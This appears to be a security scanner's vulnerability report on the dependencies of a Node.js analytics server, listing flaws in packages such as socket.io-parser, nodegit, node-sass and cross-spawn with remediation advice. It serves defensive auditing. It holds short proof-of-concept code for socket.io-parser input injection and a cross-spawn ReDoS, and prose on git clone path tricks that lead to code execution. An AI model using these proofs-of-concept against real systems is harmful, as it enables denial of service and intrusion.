Vulnerabilities |
192 via 1420 paths |
|---|---|
Dependencies |
1604 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: growl
- Introduced through: mocha@3.5.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › growl@1.9.2Remediation: Upgrade to mocha@4.0.0.
Overview
growl is a package adding Growl support for Nodejs.
Affected versions of this package are vulnerable to Command Injection due to unsafe use of the eval() function. Node.js provides the eval() function by default, and is used to translate strings into Javascript code. An attacker can craft a malicious payload to inject arbitrary commands.
Remediation
Upgrade growl to version 1.10.0 or higher.
References
critical severity
- Vulnerable module: socket.io-parser
- Introduced through: sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-adapter@0.5.0 › socket.io-parser@2.3.1
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-sockets@0.13.14 › socket.io@1.7.3 › socket.io-client@1.7.3 › socket.io-parser@2.3.1Remediation: Upgrade to sails@1.0.0.
Overview
socket.io-parser is a socket.io protocol parser
Affected versions of this package are vulnerable to Improper Input Validation.
when parsing attachments containing untrusted user input. Attackers can overwrite the _placeholder object to place references to functions in query objects.
PoC
const decoder = new Decoder();
decoder.on("decoded", (packet) => {
console.log(packet.data); // prints [ 'hello', [Function: splice] ]
})
decoder.add('51-["hello",{"_placeholder":true,"num":"splice"}]');
decoder.add(Buffer.from("world"));
Remediation
Upgrade socket.io-parser to version 3.3.3, 3.4.2, 4.0.5, 4.2.1 or higher.
References
critical severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5Remediation: Upgrade to yarn@1.19.0.
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Improper Integrity Checks. It allows to pollute yarn cache via a crafted yarn.lock file and place a malicious package into cache under any name/version, bypassing both integrity and hash checks in yarn.lock so that any future installs of that package will install the fake version (regardless of integrity and hashes).
Remediation
Upgrade yarn to version 1.19 or higher.
References
critical severity
- Vulnerable module: form-data
- Introduced through: node-sass@4.14.1, yarn@0.27.5 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › form-data@2.3.3
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › form-data@2.1.4
Overview
Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.
Remediation
Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.
References
critical severity
- Vulnerable module: babel-traverse
- Introduced through: babel-core@6.26.3, babel-eslint@7.2.3 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-eslint@7.2.3 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-block-scoping@6.26.0 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-computed-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-systemjs@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › istanbul-lib-instrument@1.10.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-parameters@6.24.1 › babel-helper-call-delegate@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-function-name@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-object-super@6.24.1 › babel-helper-replace-supers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-plugin-transform-class-constructor-call@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-core@6.26.3 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › babel-register@6.26.0 › babel-core@6.26.3 › babel-helpers@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-classes@6.24.1 › babel-helper-define-map@6.26.0 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-es2015@6.24.1 › babel-plugin-transform-es2015-modules-umd@6.24.1 › babel-plugin-transform-es2015-modules-amd@6.24.1 › babel-plugin-transform-es2015-modules-commonjs@6.26.2 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-class-properties@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-plugin-transform-decorators@6.24.1 › babel-helper-explode-class@6.24.1 › babel-helper-bindify-decorators@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-exponentiation-operator@6.24.1 › babel-helper-builder-binary-assignment-operator-visitor@6.24.1 › babel-helper-explode-assignable-expression@6.24.1 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-generator-functions@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-preset-stage-0@6.24.1 › babel-preset-stage-1@6.24.1 › babel-preset-stage-2@6.24.1 › babel-preset-stage-3@6.24.1 › babel-plugin-transform-async-to-generator@6.24.1 › babel-helper-remap-async-to-generator@6.24.1 › babel-helper-function-name@6.24.1 › babel-template@6.26.0 › babel-traverse@6.26.0
Overview
Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.
Note:
This is only exploitable if the attacker uses known affected plugins such as @babel/plugin-transform-runtime, @babel/preset-env when using its useBuiltIns option, and any "polyfill provider" plugin that depends on @babel/helper-define-polyfill-provider. No other plugins under the @babel/ namespace are impacted, but third-party plugins might be.
Users that only compile trusted code are not impacted.
Workaround
Users who are unable to upgrade the library can upgrade the affected plugins instead, to avoid triggering the vulnerable code path in affected @babel/traverse.
Remediation
There is no fixed version for babel-traverse.
References
high severity
- Vulnerable module: nodegit
- Introduced through: nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3Remediation: Upgrade to nodegit@0.26.3.
Overview
nodegit is a Node bindings to the libgit2 project.
Affected versions of this package are vulnerable to Directory Traversal. While the only permitted drive letters for physical drives on Windows are letters of the US-English alphabet, this restriction does not apply to virtual drives assigned via subst <letter>: <path>. Git mistook such paths for relative paths, allowing writing outside of the worktree while cloning.
This vulnerability can only be exploited on Windows, and only when the targeted user is known to use non-alphabetical drive letters on logical drives registered with the subst.exe command, allowing to overwrite arbitrary files on said logical drive during a regular git clone.
Remediation
Upgrade nodegit to version 0.26.3 or higher.
References
high severity
- Vulnerable module: nodegit
- Introduced through: nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3Remediation: Upgrade to nodegit@0.26.3.
Overview
nodegit is a Node bindings to the libgit2 project.
Affected versions of this package are vulnerable to Improper Handling of Alternate Data Stream. Git was unaware of NTFS Alternate Data Streams, allowing files inside the .git/ directory to be overwritten during a clone.
While the description contains "NTFS", this vulnerability can not only be exploited on Windows, but also on macOS when working on smb://-mounted network shares. The exploit involves naming a directory .git::$INDEX_ALLOCATION, allowing remote code execution during a regular git clone.
The fix for this CVE requires the fix for CVE-2019-1353.
Remediation
Upgrade nodegit to version 0.26.3 or higher.
References
high severity
- Vulnerable module: nodegit
- Introduced through: nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3Remediation: Upgrade to nodegit@0.26.3.
Overview
nodegit is a Node bindings to the libgit2 project.
Affected versions of this package are vulnerable to Improper Handling of Alternate Data Stream. When running Git in the Windows Subsystem for Linux (also known as "WSL") while accessing a working directory on a regular Windows drive, none of the NTFS protections were active.
This vulnerability affects Git when running inside the Windows Subsystem for Linux and only when working on Windows drives where NTFS short names are enabled (which is the case, by default, for the system drive, i.e. C:).
The exploit uses a directory named git~1 and it allows remote code execution during a regular git clone.
For this reason, Git now turns on core.protectNTFS by default, which is also required to address CVE-2019-1352.
Remediation
Upgrade nodegit to version 0.26.3 or higher.
References
high severity
- Vulnerable module: nodegit
- Introduced through: nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3Remediation: Upgrade to nodegit@0.26.3.
Overview
nodegit is a Node bindings to the libgit2 project.
Affected versions of this package are vulnerable to Improper Link Resolution Before File Access. Filenames on Linux/Unix can contain backslashes. On Windows, backslashes are directory separators. Git did not use to refuse to write out tracked files with such filenames.
The exploit uses backslashes in the file names stored in tree objects, allowing arbitrary files even outside of the Git worktree to be over-written.
Note: This is a Windows-only vulnerability.
Remediation
Upgrade nodegit to version 0.26.3 or higher.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to NULL Pointer Dereference in the function Sass::Functions::selector_append which could be leveraged by an attacker to cause a denial of service (application crash) or possibly have unspecified other impact. node-sass is affected by this vulnerability due to its bundled usage of libsass.
Remediation
There is no fixed version for node-sass.
References
high severity
- Vulnerable module: node-sass
- Introduced through: node-sass@4.14.1
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1
Overview
node-sass is a Node.js bindings package for libsass.
Affected versions of this package are vulnerable to Use After Free via the SharedPtr class in SharedPtr.cpp (or SharedPtr.hpp) that may cause a denial of service (application crash) or possibly have unspecified other impact. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
There is no fixed version for node-sass.
References
high severity
- Vulnerable module: cross-spawn
- Introduced through: node-sass@4.14.1 and nyc@11.9.0
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › cross-spawn@3.0.1Remediation: Upgrade to node-sass@5.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to nyc@15.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › spawn-wrap@1.4.3 › foreground-child@1.5.6 › cross-spawn@4.0.2Remediation: Upgrade to nyc@15.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › yargs@11.1.0 › os-locale@2.1.0 › execa@0.7.0 › cross-spawn@5.1.0Remediation: Upgrade to nyc@13.2.0.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.
PoC
const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
str += "\\";
}
str += "◎";
console.log("start")
argument(str)
console.log("end")
// run `npm install cross-spawn` and `node attack.js`
// then the program will stuck forever with high CPU usage
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
| String | Number of C's | Number of steps |
|---|---|---|
| ACCCX | 3 | 38 |
| ACCCCX | 4 | 71 |
| ACCCCCX | 5 | 136 |
| ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.
References
high severity
- Vulnerable module: image-size
- Introduced through: grunt-contrib-less@1.3.0 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › image-size@0.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › image-size@0.4.0
Overview
Affected versions of this package are vulnerable to Infinite loop in the extractPartialStreams() and corresponding extraction functions for HEIF, JP2, and JXL. An attacker supplying an image whose requested box declares a size of zero can hang the parser indefinitely.
Note: This is a bypass of the fix for the vulnerability described in CVE-2025-71319.
Remediation
There is no fixed version for image-size.
References
high severity
- Vulnerable module: image-size
- Introduced through: grunt-contrib-less@1.3.0 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › image-size@0.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › image-size@0.4.0
Overview
Affected versions of this package are vulnerable to Infinite loop in icns.js. An ICNS file with an icon entry whose declared length is zero can hang the parser indefinitely.
Remediation
There is no fixed version for image-size.
References
high severity
new
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.25.0, grunt@1.0.1 and others
